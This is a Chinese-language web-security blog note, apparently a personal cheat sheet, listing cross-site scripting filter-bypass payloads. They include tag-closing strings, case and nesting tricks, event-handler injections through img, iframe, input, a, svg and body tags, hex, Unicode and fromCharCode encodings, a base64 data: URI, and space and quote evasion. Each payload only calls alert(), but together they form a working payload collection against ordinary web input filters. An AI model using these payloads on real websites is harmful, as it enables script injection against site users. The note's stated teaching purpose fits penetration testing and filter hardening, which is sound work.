XSS bypass姿勢
阿新 • • 發佈:2020-12-25
技術標籤:Web安全筆記前端滲透筆記xssxsspypass安全
作者:小剛
一位苦於資訊保安的萌新小白帽,記得關注給個贊,謝謝
本實驗僅用於資訊防禦教學,切勿用於其它用途
XSS bypass
XSS bypass姿勢
嘗試構造xss,突破各種限制
閉合標籤
"><script>alert(1);</script>
//閉合大部分標籤
*/-->'");></iframe></script></style></title></textarea><a>a</a>
#*/-->'");></iframe></script></style></title></textarea><iframe >
//寬字元閉合 */-->%cf"%d5'></iframe></script></style></title></textarea>
//回車換行
%0D%0A
標籤繞過
fuzz各種標籤,檢查是否存在攔截或者過濾
大小寫繞過
<ScRipt>ALeRt("XSS");</sCRipT>
巢狀繞過
<sc<script>ript>alert(/xss/);</script>
<scscriptript>alert(/xss/);</script>
空字元繞過
<ScR%09ipt>ALeRt(/XSS/);</sCRipT>
img標籤
<img src="" onerror="alert(/xss/)"> <img/src/onerror=alert(/xss/)> <img/src='123'onerror=[/xss/].find(alert)>
iframe標籤
<iframe>是框架標籤,可以嘗試替代<script>突破限制
<iframe onload=alert(/xss/)>
<iframe src=javascript:alert(/xss/)>
input標籤
主要是在各種輸入框內使用
<input value="" onclick="alert(/xss/)">
<input value="" oninput="alert(/xss/)">
a標籤
連結標籤,點選即可觸發
<a href="javascript:alert(/xss/)">link</a>
svg標籤
SVG支援動畫特效,也就是利用一些標籤控制其他標籤的屬性,進而形成動畫特效。
<svg/onload=alert(/xss/)>
body
body主體標籤觸發,不咋常用
<BODY onload=alert(/xss/)>
編碼繞過
當alert被過濾時
可以嘗試eval觸發,並把alert語句編碼
JS16編碼
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>
ASCII與UTF-16、Unicode、Hex相互轉換
//ASCII轉UTF-16
<img src="1" onerror=eval("\u0061\u006C\u0065\u0072\u0074\u0028\u002F\u0078\u0073\u0073\u002F\u0029")>
//ASCII轉Unicode
<img src="1" onerror=eval("alert(/xss/)")>
//ASCII轉Hex
<img src="1" onerror=eval("alert(/xss/)")>
String.fromCharCode
該函式用於從一些Unicode字元值中返回一個字串,返回值屬於String物件
<img src="1" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>
data協議
一種偽協議,和javascript協議一樣
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC9zY3JpcHQ+"></object>
字元過濾繞過
空格
<img/src=""onerror="alert(/xss/)">
<img/**/src=""onerror="alert(/xss/)">
<img/*a*/src=""onerror="alert(/xss/)">
單引號
<img/src=""onerror="alert(`xss`)">